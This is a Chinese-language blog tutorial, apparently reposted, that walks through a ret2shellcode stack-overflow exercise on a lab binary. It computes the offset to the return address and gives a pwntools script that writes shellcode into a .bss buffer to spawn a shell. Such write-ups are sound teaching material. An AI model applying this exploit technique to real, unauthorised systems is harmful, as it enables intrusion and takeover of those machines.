堆栈认知——栈溢出实例(ret2shellcode)

Posted 行稳方能走远

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了堆栈认知——栈溢出实例(ret2shellcode)相关的知识,希望对你有一定的参考价值。

参考:栈溢出实例–笔记二(ret2shellcode)
地址:https://qingmu.blog.csdn.net/article/details/119303513

目录

1、栈溢出含义及栈结构

请参考前一篇博文

2、ret2shellcode基本思路

ret2shellcode需要我们控制程序执行shellcode代码。即ret2shellcode的目标就是在栈上写入布局好的shellcode,利用ret-address返回到shellcode出执行我们的shellcode代码。

注意:在栈溢出的基础上,我们都是向栈中写入内容,所以要执行shellcode,需要对应的binary文件没有开启NX(栈不可执行)保护。

补充:什么是shellcode?
shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。

3、实战一下

3.1、二进制程序如下


可以看出这个程序是个32位的程序,什么保护机制都没开。

部分汇编如下:

反汇编伪代码如下:

我们发现这里有gets函数,并且未对输入的s做限制,那么肯定是通过s写入更多的内容来做栈溢出。

3.2、分析调试查看栈

我们运行到gets函数,查看栈结构:

此时栈的第一个参数的地址为0xffffd3fc,s的地址为0xf7ffd000。

此时我们想执行我们的shellcode,肯定要覆盖ret-address的地址嘛,ret-address的地址就在ebp的后面。

此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c

所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,这里就得跳到我们的shellcode的地址。

但是得注意我们的shellcode是在man结束后覆盖的返回值地址,那么此时gets函数的栈会被清空或者覆盖或者释放掉。那么此时我们覆盖的ret-address地址会找不到。但是我们发现


这个buf2是个bss段的地址,那么buf2的地址是不会变的,我们就可以让程序调到buf2的地址来运行我们的shellcode。

3.3、编写payload获取shell

和上篇文章一样使用Python来写。

# coding=UTF-8
from pwn import *     				#引用pwn库
p = process("./ret2shellcode")		#指定程序
buf2_addr = 0x0804A080				#放置执行shellcode的地址
sc = asm(shellcraft.sh())			#生成shellcode
payload = sc.ljust(0x6c+4,"a") + p32(buf2_addr)  # 构造payload
p.sendlineafter("No system for you this time !!!\\n",payload)  #在“No system for you this time !!!\\n”后开始用payload覆盖栈
p.interactive()                   #生成一个shell与我们的shellcode交互

3.4、操作结果

此时已经成功的拿到了shell。

以上是关于堆栈认知——栈溢出实例(ret2shellcode)的主要内容,如果未能解决你的问题,请参考以下文章

堆栈认知——栈溢出实例(ret2libc)

堆栈认知——栈溢出实例(ret2libc)

堆栈认知——栈溢出实例(ret2text)

堆栈认知——栈溢出实例(ret2text)

字符串溢出(pwn溢出)--ret2shellcode

Ret2shellcode